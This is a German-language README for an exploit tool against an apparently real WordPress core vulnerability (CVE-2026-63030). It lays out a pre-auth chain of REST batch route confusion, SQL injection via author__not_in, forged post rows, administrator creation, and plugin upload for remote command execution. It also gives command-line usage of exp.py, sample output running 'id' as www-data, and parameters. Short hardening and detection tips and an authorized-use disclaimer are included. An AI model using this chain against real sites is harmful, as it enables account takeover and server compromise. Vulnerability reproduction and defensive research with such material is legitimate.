
WordPress 未授权RCE EXP | CVE-2026-63030
WordPress REST API Batch-Routenkonfusion + SQL-Injection führen zu einer vollständigen Exploit-Kette von unberechtigter Administratorerstellung → Remote Code Execution als PoC.
Nur für autorisierte Sicherheitstests, Schwachstellenreproduktion und Forschung. Nicht für nicht autorisierte Ziele verwenden.
| Punkt | Beschreibung |
|---|---|
| CVE | CVE-2026-63030 |
| Komponente | WordPress Core REST API (/batch/v1) |
| Betroffene Versionen | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (laut offiziellem Bulletin) |
| Angriffsvoraussetzung | Ziel hat REST API Batch aktiviert; mindestens ein veröffentlichter Beitrag oder eine Seite vorhanden |
| Berechtigungsanforderung | Kein Login erforderlich (Pre-Auth) |
| Auswirkung | Erstellung eines Administratorkontos, anschließend Hochladen eines Plugins für RCE |
REST Batch Routenkonfusion
→ author__not_in SQL-Injection
→ UNION fälscht WP_Post / oEmbed Cache / Customizer Changeset
→ Customizer-Veröffentlichung wechselt Kontext zu vorhandenem Administrator
→ REST /wp/v2/users erstellt neuen Administrator
→ Admin-Backend lädt einmaliges Plugin hoch
→ Systembefehle ausführen
Der Kern ist nicht „Stacked Write“, sondern:
serve_batch_request_v1() sind die Indizes von $matches / $validation während der Validierungs- und der Dispatch-Phase nicht synchron, was zu Route Confusion führt.author_exclude in author__not_in von WP_Query und wird in NOT IN (...) eingefügt, was eine SQL-Injection verursacht.UNION SELECT wird eine vollständige wp_posts-Zeile gefälscht, um die oEmbed-/Customizer-Logik auszulösen und den aktuellen Benutzerkontext auf einen vorhandenen Administrator umzustellen.proc_open / passthru / system / shell_exec / exec / popen)disable_functions alle Befehlsausführungsfunktionen deaktiviert hat, kann der Administrator dennoch erstellt werden, aber die RCE-Phase schlägt fehlCVE-2026-63030/
├── exp.py # Vollständiges Exploit-Skript (Einzeldatei, keine Abhängigkeiten)
└── README.md # Diese Anleitung
id)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
Das Skript versucht nach Abschluss:
Bei Fehlern in der Mitte bitte manuell anhand der ausgegebenen Zugangsdaten bereinigen.
has been disabled for security reasons erscheint, wurden entsprechende Funktionen von disable_functions deaktiviert. Der PoC probiert mehrere Ausführungsmethoden nacheinander; wenn alle deaktiviert sind, ist RCE nicht verfügbar, aber die Administratorerstellung kann dennoch erfolgreich sein.wp-admin/users.php und wp-content/plugins/ prüfen./batch/v1 einschränkendisable_functions und einen Web-Benutzer mit minimalen Rechten konfigurieren, um die Auswirkungen eines RCE zu verringernDer Code in diesem Repository dient ausschließlich der Sicherheitsforschung und der autorisierten Schwachstellenreproduktion. Der Nutzer muss sicherstellen, dass er die geltenden Gesetze und die Autorisierung des Zielsystems einhält. Der Autor übernimmt keine Haftung für jeglichen Missbrauch.
| Parameter | Erforderlich | Standardwert | Beschreibung |
|---|
--url | Ja | Keiner | Basis-URL der Ziel-WordPress-Installation |
--username | Nein | wp2_<hex> | Zu erstellender Administrator-Benutzername |
--password | Nein | Wp2!<zufällig> | Passwort des neuen Administrators |
--email | Nein | <username>@wp2shell.invalid | E-Mail des neuen Administrators |
--command / -c | Nein | id | Befehl, der über das einmalige Plugin ausgeführt werden soll |
--timeout | Nein | 60 | HTTP-Timeout pro Anfrage (Sekunden) |